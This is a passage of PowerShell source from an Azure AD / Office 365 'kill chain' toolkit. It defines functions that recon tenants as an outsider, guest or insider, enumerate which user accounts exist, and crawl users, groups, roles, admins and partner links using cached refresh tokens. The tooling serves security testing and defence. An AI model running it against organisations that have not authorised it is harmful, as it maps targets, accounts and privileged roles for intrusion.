Files
Nestori 6c802d9edc v0.9.4
2024-07-31 10:14:58 +03:00

1472 lines
60 KiB
PowerShell

#
# This file contains functions for Azure AD / Office 365 kill chain
#
# Invokes information gathering as an outsider
# Jun 16th 2020
function Invoke-ReconAsOutsider
{
<#
.SYNOPSIS
Starts tenant recon of the given domain.
.DESCRIPTION
Starts tenant recon of the given domain. Gets all verified domains of the tenant and extracts information such as their type.
Also checks whether Desktop SSO (aka Seamless SSO) is enabled for the tenant.
DNS: Does the DNS record exists?
MX: Does the MX point to Office 365?
SPF: Does the SPF contain Exchange Online?
Type: Federated or Managed
DMARC: Is the DMARC record configured?
DKIM: Is the DKIM record configured?
MTA-STS: Is the MTA-STS record configured?
STS: The FQDN of the federated IdP's (Identity Provider) STS (Security Token Service) server
RPS: Relaying parties of STS (AD FS)
.Parameter DomainName
Any domain name of the Azure AD tenant.
.Parameter Single
If the switch is used, doesn't get other domains of the tenant.
.Parameter GetRelayingParties
Tries to get relaying parties from STS. Returned if STS is AD FS and idpinitiatedsignon.aspx is enabled.
.Example
Invoke-AADIntReconAsOutsider -Domain company.com | Format-Table
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
Tenant region: NA
DesktopSSO enabled: False
MDI instance: company.atp.azure.com
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
---- --- -- --- ----- ---- ------- ---- ---
company.com True True True True True True Federated sts.company.com
company.mail.onmicrosoft.com True True True True True False Managed
company.onmicrosoft.com True True True False True False Managed
int.company.com False False False False True False Managed
.Example
Invoke-AADIntReconAsOutsider -Domain company.com -GetRelayingParties | Format-Table
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
Tenant region: NA
Uses cloud sync: True
DesktopSSO enabled: False
MDI instance: company.atp.azure.com
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
---- --- -- --- ----- ---- ------- ---- ---
company.com True True True True True True Federated sts.company.com
company.mail.onmicrosoft.com True True True True True False Managed
company.onmicrosoft.com True True True False True False Managed
int.company.com False False False False True False Managed
.Example
Invoke-AADIntReconAsOutsider -UserName user@company.com | Format-Table
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
Tenant region: NA
DesktopSSO enabled: False
MDI instance: company.atp.azure.com
Uses cloud sync: True
CBA enabled: True
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
---- --- -- --- ----- ---- ------- ---- ---
company.com True True True True True True Federated sts.company.com
company.mail.onmicrosoft.com True True True True True False Managed
company.onmicrosoft.com True True True False True False Managed
int.company.com False False False False True False Managed
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="domain",Mandatory=$True)]
[String]$DomainName,
[Parameter(ParameterSetName="user",Mandatory=$True)]
[String]$UserName,
[Switch]$Single,
[Switch]$GetRelayingParties
)
Process
{
if([string]::IsNullOrEmpty($DomainName))
{
$DomainName = $UserName.Split("@")[1]
Write-Verbose "Checking CBA status."
$tenantCBA = HasCBA -UserName $UserName
}
Write-Verbose "Checking if the domain $DomainName is registered to Azure AD"
$tenantId = Get-TenantID -Domain $DomainName
if([string]::IsNullOrEmpty($tenantId))
{
throw "Domain $DomainName is not registered to Azure AD"
}
$openIDConfiguration = Get-OpenIDConfiguration -Domain $DomainName
$tenantName = ""
$tenantBrand = ""
$tenantRegion = $openIDConfiguration.tenant_region_scope
$tenantSubscope = Get-TenantSubscope -OpenIDConfiguration $openIDConfiguration
$tenantSSO = ""
Write-Verbose "`n*`n* EXAMINING TENANT $tenantId`n*"
Write-Verbose "Getting domains.."
$domains = Get-TenantDomains -Domain $DomainName -SubScope $tenantSubscope
Write-Verbose "Found $($domains.count) domains!"
# Create an empty list
$domainInformation = @()
# Counter
$c=1
# Loop through the domains
foreach($domain in $domains)
{
# Define variables
$exists = $false
$hasCloudMX = $false
$hasCloudSPF = $false
$hasCloudDKIM = $false
$hasCloudMTASTS = $false
if(-not $Single)
{
Write-Progress -Activity "Getting DNS information" -Status $domain -PercentComplete (($c/$domains.count)*100)
}
$c++
# Check if this is "the initial" domain
if([string]::IsNullOrEmpty($tenantName) -and $domain.ToLower() -match '^[^.]*\.onmicrosoft.((com)|(us))$')
{
$tenantName = $domain
Write-Verbose "TENANT NAME: $tenantName"
}
# Check if the tenant has the Desktop SSO (aka Seamless SSO) enabled
if([string]::IsNullOrEmpty($tenantSSO))
{
$tenantSSO = HasDesktopSSO -Domain $domain -SubScope $tenantSubscope
}
if(-not $Single -or ($Single -and $DomainName -eq $domain))
{
# Check whether the domain exists in DNS
try { $exists = (Resolve-DnsName -Name $Domain -ErrorAction SilentlyContinue -DnsOnly -NoHostsFile -NoIdn).count -gt 0 } catch{}
if($exists)
{
# Check the MX record
$hasCloudMX = HasCloudMX -Domain $domain -SubScope $tenantSubscope
# Check the SPF record
$hasCloudSPF = HasCloudSPF -Domain $domain -SubScope $tenantSubscope
# Check the DMARC record
$hasDMARC = HasDMARC -Domain $domain
# Check the DKIM record
$hasCloudDKIM = HasCloudDKIM -Domain $domain -SubScope $tenantSubscope
# Check the MTA-STS record
$hasCloudMTASTS = HasCloudMTASTS -Domain $domain -SubScope $tenantSubscope
}
# Get the federation information
$realmInfo = Get-UserRealmV2 -UserName "nn@$domain" -SubScope $tenantSubscope
if([string]::IsNullOrEmpty($tenantBrand))
{
$tenantBrand = $realmInfo.FederationBrandName
Write-Verbose "TENANT BRAND: $tenantBrand"
}
if($authUrl = $realmInfo.AuthUrl)
{
# Try to read relaying parties
if($GetRelayingParties)
{
try
{
$idpUrl = $realmInfo.AuthUrl.Substring(0,$realmInfo.AuthUrl.LastIndexOf("/")+1)
$idpUrl += "idpinitiatedsignon.aspx"
Write-Verbose "Getting relaying parties for $domain from $idpUrl"
[xml]$page = Invoke-RestMethod -Uri $idpUrl -TimeoutSec 3
$selectElement = $page.html.body.div.div[2].div.div.div.form.div[1].div[1].select.option
$relayingParties = New-Object string[] $selectElement.Count
Write-Verbose "Got $relayingParties relaying parties from $idpUrl"
for($o = 0; $o -lt $selectElement.Count; $o++)
{
$relayingParties[$o] = $selectElement[$o].'#text'
}
}
catch{} # Okay
}
# Get just the server name
$authUrl = $authUrl.split("/")[2]
}
# Set the return object properties
$attributes=[ordered]@{
"Name" = $domain
"DNS" = $exists
"MX" = $hasCloudMX
"SPF" = $hasCloudSPF
"DMARC" = $hasDMARC
"DKIM" = $hasCloudDKIM
"MTA-STS" = $hasCloudMTASTS
"Type" = $realmInfo.NameSpaceType
"STS" = $authUrl
}
if($GetRelayingParties)
{
$attributes["RPS"] = $relayingParties
}
Remove-Variable "relayingParties" -ErrorAction SilentlyContinue
$domainInformation += New-Object psobject -Property $attributes
}
}
Write-Host "Tenant brand: $tenantBrand"
Write-Host "Tenant name: $tenantName"
Write-Host "Tenant id: $tenantId"
Write-Host "Tenant region: $tenantRegion"
if(![string]::IsNullOrEmpty($tenantSubscope))
{
Write-Host "Tenant sub region: $tenantSubscope"
}
# DesktopSSO status not definitive with a single domain
if(!$Single -or $tenantSSO -eq $true)
{
Write-Host "DesktopSSO enabled: $tenantSSO"
}
# MDI instance not definitive, may have different instance name than the tenant name.
if(![string]::IsNullOrEmpty($tenantName))
{
$tenantMDI = GetMDIInstance -Tenant $tenantName
if($tenantMDI)
{
Write-Host "MDI instance: $tenantMDI"
}
}
# Cloud sync not definitive, may use different domain name
if(DoesUserExists -User "ADToAADSyncServiceAccount@$($tenantName)")
{
Write-Host "Uses cloud sync: $true"
}
# CBA status definitive if username was provided
if($tenantCBA)
{
Write-Host "CBA enabled: $tenantCBA"
}
return $domainInformation
}
}
# Tests whether the user exists in Azure AD or not
# Jun 16th 2020
function Invoke-UserEnumerationAsOutsider
{
<#
.SYNOPSIS
Checks whether the given user exists in Azure AD or not. Returns $True or $False or empty.
.DESCRIPTION
Checks whether the given user exists in Azure AD or not. Works also with external users! Supports following enumeration methods: Normal, Login, Autologon, and RST2.
The Normal method seems currently work with all tenants. Previously it required Desktop SSO (aka Seamless SSO) to be enabled for at least one domain.
The Login method works with any tenant, but enumeration queries will be logged to Azure AD sign-in log as failed login events!
The Autologon method doesn't seem to work with all tenants anymore. Probably requires that DesktopSSO or directory sync is enabled.
Returns $True or $False if existence can be verified and empty if not.
.Parameter UserName
List of User names or email addresses of the users.
.Parameter External
Whether the given user name is for external user. Requires also -Domain parater!
.Parameter Domain
The initial domain of the given tenant.
.Parameter Method
The used enumeration method. One of "Normal","Login","Autologon","RST2"
.Example
Invoke-AADIntUserEnumerationAsOutsider -UserName user@company.com
UserName Exists
-------- ------
user@company.com True
.Example
Invoke-AADIntUserEnumerationAsOutsider -UserName external.user@gmail.com -External -Domain company.onmicrosoft.com
UserName Exists
-------- ------
external.user_gmail.com#EXT#@company.onmicrosoft.com True
.Example
Invoke-AADIntUserEnumerationAsOutsider -UserName user@company.com,user2@company.com -Method Autologon
UserName Exists
-------- ------
user@company.com True
user2@company.com False
.Example
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
UserName Exists
-------- ------
user@company.com True
user2@company.com False
user@company.net
external.user_gmail.com#EXT#@company.onmicrosoft.com True
external.user_outlook.com#EXT#@company.onmicrosoft.com False
.Example
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Login
UserName Exists
-------- ------
user@company.com True
user2@company.com False
user@company.net True
external.user_gmail.com#EXT#@company.onmicrosoft.com True
external.user_outlook.com#EXT#@company.onmicrosoft.com False
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="Normal", Mandatory=$True,ValueFromPipeline)]
[Parameter(ParameterSetName="External",Mandatory=$True,ValueFromPipeline)]
[String[]]$UserName,
[Parameter(ParameterSetName="External", Mandatory=$True)]
[Switch]$External,
[Parameter(ParameterSetName="External",Mandatory=$True)]
[String]$Domain,
[Parameter(Mandatory=$False)]
[ValidateSet("Normal","Login","Autologon","RST2")]
[String]$Method="Normal"
)
Process
{
foreach($User in $UserName)
{
$tenantSubscope = Get-TenantSubscope -Domain $UserName.Split("@")[1]
# If the user is external, change to correct format
if($Method -eq "Normal" -and $External)
{
$User="$($User.Replace("@","_"))#EXT#@$domain"
}
new-object psobject -Property ([ordered]@{"UserName"=$User;"Exists" = $(DoesUserExists -User $User -Method $Method -SubScope $tenantSubscope)})
}
}
}
# Invokes information gathering as a guest user
# Jun 16th 2020
function Invoke-ReconAsGuest
{
<#
.SYNOPSIS
Starts tenant recon of Azure AD tenant. Prompts for tenant.
.DESCRIPTION
Starts tenant recon of Azure AD tenant. Prompts for tenant.
Retrieves information from Azure AD tenant, such as, the number of Azure AD objects and quota, and the number of domains (both verified and unverified).
.Example
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>$results = Invoke-AADIntReconAsGuest
PS C:\>$results.allowedActions
application : {read}
domain : {read}
group : {read}
serviceprincipal : {read}
tenantdetail : {read}
user : {read, update}
serviceaction : {consent}
.Example
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>Get-AADIntAzureTenants
Id Country Name Domains
-- ------- ---- -------
221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
$results = Invoke-AADIntReconAsGuest
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Azure AD objects: 520/500000
Domains: 6 (4 verified)
Non-admin users restricted? True
Users can register apps? True
Directory access restricted? False
Guest access: Normal
CA policies: 7
PS C:\>$results.allowedActions
application : {read}
domain : {read}
group : {read}
serviceprincipal : {read}
tenantdetail : {read}
user : {read, update}
serviceaction : {consent}
#>
[cmdletbinding()]
Param()
Begin
{
# Choises
$choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
}
Process
{
# Get access token from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the list of tenants the user has access to
$tenants = Get-AzureTenants -AccessToken $AccessToken
$tenantNames = $tenants | Select-Object -ExpandProperty Name
# Prompt for tenant choice if more than one
if($tenantNames.count -gt 1)
{
$options = [System.Management.Automation.Host.ChoiceDescription[]]@()
for($p=0; $p -lt $tenantNames.count; $p++)
{
$options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
}
$opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to recon",$options,0)
}
else
{
$opt=0
}
$tenantInfo = $tenants[$opt]
$tenant = $tenantInfo.Id
# Get the tenant information
$tenantInformation = Get-AzureInformation -Tenant $tenant
# Guest access
if(!$tenantInformation.authorizationPolicy)
{
$tenantInformation.guestAccess = "unknown"
}
# Print out some relevant information
Write-Host "Tenant brand: $($tenantInformation.displayName)"
Write-Host "Tenant name: $($tenantInformation.domains | Where-Object isInitial -eq "True" | Select-Object -ExpandProperty id)"
Write-Host "Tenant id: $($tenantInformation.objectId)"
Write-Host "Azure AD objects: $($tenantInformation.directorySizeQuota.used)/$($tenantInformation.directorySizeQuota.total)"
Write-Host "Domains: $($tenantInformation.domains.Count) ($(($tenantInformation.domains | Where-Object isVerified -eq "True").Count) verified)"
Write-Host "Non-admin users restricted? $($tenantInformation.restrictNonAdminUsers)"
Write-Host "Users can register apps? $($tenantInformation.usersCanRegisterApps)"
Write-Host "Directory access restricted? $($tenantInformation.restrictDirectoryAccess)"
Write-Host "Guest access: $($tenantInformation.guestAccess)"
Write-Host "CA policies: $($tenantInformation.conditionalAccessPolicy.Count)"
Write-Host "Access package admins: $($tenantInformation.accessPackageAdmins.Count)"
# Return
return $tenantInformation
}
}
# Starts crawling the organisation for user names and groups
# Jun 16th 2020
function Invoke-UserEnumerationAsGuest
{
<#
.SYNOPSIS
Crawls the target organisation for user names and groups.
.DESCRIPTION
Crawls the target organisation for user names, groups, and roles. The starting point is the signed-in user, a given username, or a group id.
The crawl can be controlled with switches. Group members are limited to 1000 entries per group.
Groups: Include user's groups
GroupMembers: Include members of user's groups
Roles: Include roles of user and group members. Can be very time consuming!
Manager: Include user's manager
Subordinates: Include user's subordinates (direct reports)
UserName: User principal name (UPN) of the user to search.
GroupId: Id of the group. If this is given, only the members of the group are included.
.Example
$results = Invoke-AADIntUserEnumerationAsGuest -UserName user@company.com
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Logged in as: live.com#user@outlook.com
Users: 5
Groups: 2
Roles: 0
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$UserName,
[Switch]$Groups,
[Switch]$GroupMembers,
[Switch]$Subordinates,
[Switch]$Manager,
[Switch]$Roles,
[Parameter(Mandatory=$False)]
[String]$GroupId
)
Begin
{
# Choises
$choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
}
Process
{
# Get access token from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the list of tenants the user has access to
Write-Verbose "Getting list of user's tenants.."
$tenants = Get-AzureTenants -AccessToken $AccessToken
$tenantNames = $tenants | Select-Object -ExpandProperty Name
# Prompt for tenant choice if more than one
if($tenantNames.count -gt 1)
{
$options = [System.Management.Automation.Host.ChoiceDescription[]]@()
for($p=0; $p -lt $tenantNames.count; $p++)
{
$options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
}
$opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to recon",$options,0)
}
else
{
$opt=0
}
$tenantInfo = $tenants[$opt]
$tenant = $tenantInfo.Id
# Create a new AccessToken for graph.microsoft.com
$refresh_token = Get-RefreshTokenFromCache -ClientID "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://management.core.windows.net"
if([string]::IsNullOrEmpty($refresh_token))
{
throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
}
try
{
$AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant -RefreshToken $refresh_token -SaveToCache $true
}
catch
{
Throw "Unable to get access token for Microsoft Graph API"
}
# Get the initial domain
$domains = Get-MSGraphDomains -AccessToken $AccessToken
$tenantDomain = $domains | Where-Object isInitial -eq "True" | Select-Object -ExpandProperty id
if([string]::IsNullOrEmpty($tenantDomain))
{
Throw "No initial domain found for the tenant $tenant!"
}
Write-Verbose "Tenant $Tenant / $tenantDomain selected."
# If GroupID is given, dump only the members of that group
if($GroupId)
{
# Create users object
$ht_users=@{}
# Get group members
$members = Get-MSGraphGroupMembers -AccessToken $AccessToken -GroupId $GroupId
# Create a variable for members
$itemMembers = @()
# Loop trough the members
foreach($member in $members)
{
$ht_users[$member.Id] = $member
$itemMembers += $member.userPrincipalName
}
}
else
{
# If user name not given, try to get one from the access token
if([string]::IsNullOrEmpty($UserName))
{
$UserName = (Read-Accesstoken -AccessToken $AccessToken).upn
# If upn not found, this is probably live.com user, so use email instead of upn
if([string]::IsNullOrEmpty($UserName))
{
$UserName = (Read-Accesstoken -AccessToken $AccessToken).email
}
if(-not ($UserName -like "*#EXT#*"))
{
# As this must be an extrernal user, convert to external format
$UserName = "$($UserName.Replace("@","_"))#EXT#@$tenantDomain"
}
}
Write-Verbose "Getting user information for user $UserName"
# Get the user information
$user = Get-MSGraphUser -UserPrincipalName $UserName -AccessToken $AccessToken
if([string]::IsNullOrEmpty($user))
{
throw "User $UserName not found!"
}
# Create the users object
$ht_users=@{
$user.id = $user
}
# Create the groups object
$ht_groups=@{}
# Create the roles object
$ht_roles=@{}
Write-Verbose "User found: $($user.id) ($($user.userPrincipalName))"
# Loop through the user's subordinates
if($Subordinates)
{
# Copy the keys as the hashtable may change
$so_keys = New-Object string[] $ht_users.Count
$ht_users.Keys.CopyTo($so_keys,0)
# Loop through the users
foreach($userId in $so_keys)
{
$user = $ht_users[$userId].userPrincipalName
Write-Verbose "Getting subordinates of $user"
# Get user's subordinates
$userSubordinates = Get-MSGraphUserDirectReports -AccessToken $AccessToken -UserPrincipalName $user
# Loop trough the users
foreach($subordinate in $userSubordinates)
{
$ht_users[$subordinate.Id] = $subordinate
}
}
}
# Get user's manager
if($Manager)
{
try{$userManager= Get-MSGraphUserManager -AccessToken $AccessToken -UserPrincipalName $UserName}catch{}
if($userManager)
{
$ht_users[$userManager.id] = $userManager
}
}
# Loop through the users' groups
if($Groups -or $GroupMembers)
{
foreach($userId in $ht_users.Keys)
{
$groupUser = $ht_users[$userId].userPrincipalName
Write-Verbose "Getting groups of $groupUser"
# Get user's groups
$userGroups = Get-MSGraphUserMemberOf -AccessToken $AccessToken -UserPrincipalName $groupUser
# Loop trough the groups
foreach($group in $userGroups)
{
# This is a normal group
if($group.'@odata.type' -eq "#microsoft.graph.group")
{
$ht_groups[$group.id] = $group
#$itemGroups += $group.id
}
}
}
}
# Loop through the group members
if($GroupMembers)
{
foreach($groupId in $ht_groups.Keys)
{
Write-Verbose "Getting groups of $groupUser"
# Get group members
$members = Get-MSGraphGroupMembers -AccessToken $AccessToken -GroupId $groupId
# Create a variable for members
$itemMembers = @()
# Loop trough the members
foreach($member in $members)
{
$ht_users[$member.Id] = $member
$itemMembers += $member.userPrincipalName
}
# Add members to the group
$ht_groups[$groupId] | Add-Member -NotePropertyName "members" -NotePropertyValue $itemMembers
# Get group owners
$owners = Get-MSGraphGroupOwners -AccessToken $AccessToken -GroupId $groupId
# Create a variable for members
$itemOwners = @()
# Loop trough the members
foreach($owner in $owners)
{
$ht_users[$owner.Id] = $owner
$itemOwners += $owner.userPrincipalName
}
# Add members to the group
$ht_groups[$groupId] | Add-Member -NotePropertyName "owners" -NotePropertyValue $itemOwners
}
}
# Loop through the users' roles
if($Roles)
{
foreach($userId in $ht_users.Keys)
{
$roleUser = $ht_users[$userId].userPrincipalName
Write-Verbose "Getting roles of $roleUser"
# Get user's roles
$userRoles = Get-MSGraphUserMemberOf -AccessToken $AccessToken -UserPrincipalName $roleUser
# Loop trough the groups
foreach($userRole in $userRoles)
{
if($userRole.'@odata.type' -eq "#microsoft.graph.directoryRole")
{
# Try to get the existing role first
$role = $ht_roles[$userRole.id]
if($role)
{
# Add a new member to the role
$role.members+=$ht_users[$userId].userPrincipalName
}
else
{
# Create a members attribute
$userRole | Add-Member -NotePropertyName "members" -NotePropertyValue @($ht_users[$userId].userPrincipalName)
$role = $userRole
}
$ht_roles[$role.id] = $role
}
}
}
}
# Loop through the role members
if($Roles)
{
foreach($roleId in $ht_roles.Keys)
{
$members = $null
Write-Verbose "Getting role members for '$($ht_roles[$roleId].displayName)'"
# Try to get role members, usually fails
try{$members = Get-MSGraphRoleMembers -AccessToken $AccessToken -RoleId $roleId}catch{ }
if($members)
{
# Create a variable for members
$itemMembers = @()
# Loop trough the members
foreach($member in $members)
{
$ht_users[$member.Id] = $member
$itemMembers += $member.userPrincipalName
}
# Add members to the role
$ht_roles[$roleId] | Add-Member -NotePropertyName "members" -NotePropertyValue $itemMembers -Force
}
}
}
}
# Print out some relevant information
Write-Host "Tenant brand: $($tenantInfo.Name)"
Write-Host "Tenant name: $tenantDomain"
Write-Host "Tenant id: $($tenantInfo.id)"
Write-Host "Logged in as: $((Read-Accesstoken -AccessToken $AccessToken).unique_name)"
Write-Host "Users: $($ht_users.count)"
Write-Host "Groups: $($ht_groups.count)"
Write-Host "Roles: $($ht_roles.count)"
# Create the return value
$attributes=@{
"Users" = $ht_users.values
"Groups" = $ht_groups.Values
"Roles" = $ht_roles.Values
}
return New-Object psobject -Property $attributes
}
}
# Invokes information gathering as an internal user
# Aug 4th 2020
function Invoke-ReconAsInsider
{
<#
.SYNOPSIS
Starts tenant recon of Azure AD tenant.
.DESCRIPTION
Starts tenant recon of Azure AD tenant.
.Example
Get-AADIntAccessTokenForAzureCoreManagement
PS C:\>$results = Invoke-AADIntReconAsInsider
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Tenant SKU: E3
Azure AD objects: 520/500000
Domains: 6 (4 verified)
Non-admin users restricted? True
Users can register apps? True
Directory access restricted? False
Directory sync enabled? true
Global admins: 3
CA policies: 8
MS Partner IDs:
MS Partner DAP enabled? False
MS Partner contracts: 0
MS Partners: 1
PS C:\>$results.roleInformation | Where-Object Members -ne $null | Select-Object Name,Members
Name Members
---- -------
Company Administrator {@{DisplayName=MOD Administrator; UserPrincipalName=admin@company.onmicrosoft.com}, @{D...
User Account Administrator @{DisplayName=User Admin; UserPrincipalName=useradmin@company.com}
Directory Readers {@{DisplayName=Microsoft.Azure.SyncFabric; UserPrincipalName=}, @{DisplayName=MicrosoftAzur...
Directory Synchronization Accounts {@{DisplayName=On-Premises Directory Synchronization Service Account; UserPrincipalName=Syn...
#>
[cmdletbinding()]
Param()
Begin
{
}
Process
{
# Get access token from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the refreshtoken from the cache and create AAD token
$tenantId = (Read-Accesstoken $AccessToken).tid
$refresh_token = Get-RefreshTokenFromCache -AccessToken $AccessToken
$AAD_AccessToken = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "https://graph.windows.net" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenantId
$MSPartner_AccessToken = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenantId
$AdminAPI_AccessToken = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenantId
# Get the tenant information
Write-Verbose "Getting company information"
$companyInformation = Get-CompanyInformation -AccessToken $AAD_AccessToken
# Get the sharepoint information
Write-Verbose "Getting SharePoint Online information"
$sharePointInformation = Get-SPOServiceInformation -AccessToken $AAD_AccessToken
# Get the admins
Write-Verbose "Getting role information"
$roles = Get-Roles -AccessToken $AAD_AccessToken
$roleInformation=@()
$sortedRoles = $roles.Role | Sort-Object -Property Name
foreach($role in $roles.Role)
{
Write-Verbose "Getting members of role ""$($role.Name)"""
$attributes=[ordered]@{}
$attributes["Name"] = $role.Name
$attributes["IsEnabled"] = $role.IsEnabled
$attributes["IsSystem"] = $role.IsSystem
$attributes["ObjectId"] = $role.ObjectId
$members = Get-RoleMembers -AccessToken $AAD_AccessToken -RoleObjectId $role.ObjectId | Select-Object @{N='DisplayName'; E={$_.DisplayName}},@{N='UserPrincipalName'; E={$_.EmailAddress}}
$attributes["Members"] = $members
$roleInformation += New-Object psobject -Property $attributes
}
# Get the tenant information
Write-Verbose "Getting tenant information"
$tenantInformation = Get-AzureInformation -Tenant $tenantId
# Get basic partner information
Write-Verbose "Getting basic partner information"
$partnerInformation = Get-PartnerInformation -AccessToken $AAD_AccessToken
# Get partner organisation information
Write-Verbose "Getting partner organisation information"
$partnerOrganisations = @(Get-MSPartnerOrganizations -AccessToken $MSPartner_AccessToken)
# Get partner role information
Write-Verbose "Getting partner role information"
$partnerRoleInformation = @(Get-MSPartnerRoleMembers -AccessToken $MSPartner_AccessToken)
# Get partner contracts (customers)
Write-Verbose "Getting partner contracts (customers)"
try
{
$partnerContracts = @(Get-MSPartnerContracts -AccessToken $AAD_AccessToken)
}
catch
{
# Okay, not all are partner organisations :)
}
# Get partners
Write-Verbose "Getting partners"
try
{
$partners = @(Get-MSPartners -AccessToken $AdminAPI_AccessToken)
}
catch
{
# Okay
}
# AzureAD SKU
$tenantSku = @()
if($tenantInformation.skuInfo.aadPremiumBasic)
{
$tenantSku += "Premium Basic"
}
if($tenantInformation.skuInfo.aadPremium)
{
$tenantSku += "Premium P1"
}
if($tenantInformation.skuInfo.aadPremiumP2)
{
$tenantSku += "Premium P2"
}
if($tenantInformation.skuInfo.aadBasic)
{
$tenantSku += "Basic"
}
if($tenantInformation.skuInfo.aadBasicEdu)
{
$tenantSku += "Basic Edu"
}
if($tenantInformation.skuInfo.aadSmb)
{
$tenantSku += "SMB"
}
if($tenantInformation.skuInfo.enterprisePackE3)
{
$tenantSku += "E3"
}
if($tenantInformation.skuInfo.enterprisePremiumE5)
{
$tenantSku += "Premium E5"
}
# Set the extra tenant information
$tenantInformation |Add-Member -NotePropertyName "companyInformation" -NotePropertyValue $companyInformation
$tenantInformation |Add-Member -NotePropertyName "SPOInformation" -NotePropertyValue $sharePointInformation
$tenantInformation |Add-Member -NotePropertyName "roleInformation" -NotePropertyValue $roleInformation
$tenantInformation |Add-Member -NotePropertyName "partnerDAPEnabled" -NotePropertyValue ($partnerInformation.DapEnabled -eq "true")
$tenantInformation |Add-Member -NotePropertyName "partnerType" -NotePropertyValue $partnerInformation.CompanyType
$tenantInformation |Add-Member -NotePropertyName "partnerContracts" -NotePropertyValue $partnerContracts
$tenantInformation |Add-Member -NotePropertyName "partnerOrganisations" -NotePropertyValue $partnerOrganisations
$tenantInformation |Add-Member -NotePropertyName "partners" -NotePropertyValue $partners
$tenantInformation |Add-Member -NotePropertyName "partnerRoleInformation" -NotePropertyValue $partnerRoleInformation
# Print out some relevant information
Write-Host "Tenant brand: $($tenantInformation.displayName)"
Write-Host "Tenant name: $($tenantInformation.domains | Where-Object isInitial -eq "True" | Select-Object -ExpandProperty id)"
Write-Host "Tenant id: $tenantId"
Write-Host "Tenant SKU: $($tenantSku -join ", ")"
Write-Host "Azure AD objects: $($tenantInformation.directorySizeQuota.used)/$($tenantInformation.directorySizeQuota.total)"
Write-Host "Domains: $($tenantInformation.domains.Count) ($(($tenantInformation.domains | Where-Object isVerified -eq "True").Count) verified)"
Write-Host "Non-admin users restricted? $($tenantInformation.restrictNonAdminUsers)"
Write-Host "Users can register apps? $($tenantInformation.usersCanRegisterApps)"
Write-Host "Directory access restricted? $($tenantInformation.restrictDirectoryAccess)"
Write-Host "Directory sync enabled? $($tenantInformation.companyInformation.DirectorySynchronizationEnabled)"
Write-Host "Global admins: $(@($tenantInformation.roleInformation | Where-Object ObjectId -eq "62e90394-69f5-4237-9190-012177145e10" | Select-Object -ExpandProperty Members).Count)"
Write-Host "CA policies: $($tenantInformation.conditionalAccessPolicy.Count)"
Write-Host "MS Partner IDs: $(($tenantInformation.partnerOrganisations | Where-Object typeName -Like "Partner*" ).MPNID -join ",")"
Write-Host "MS Partner DAP enabled? $($tenantInformation.partnerDAPEnabled)"
Write-Host "MS Partner contracts: $($tenantInformation.partnerContracts.Count)"
Write-Host "MS Partners: $($tenantInformation.partners.Count)"
# Return
return $tenantInformation
}
}
# Starts crawling the organisation for user names and groups
# Jun 16th 2020
function Invoke-UserEnumerationAsInsider
{
<#
.SYNOPSIS
Dumps user names and groups of the tenant.
.DESCRIPTION
Dumps user names and groups of the tenant.
By default, the first 1000 users and groups are returned.
Groups: Include groups
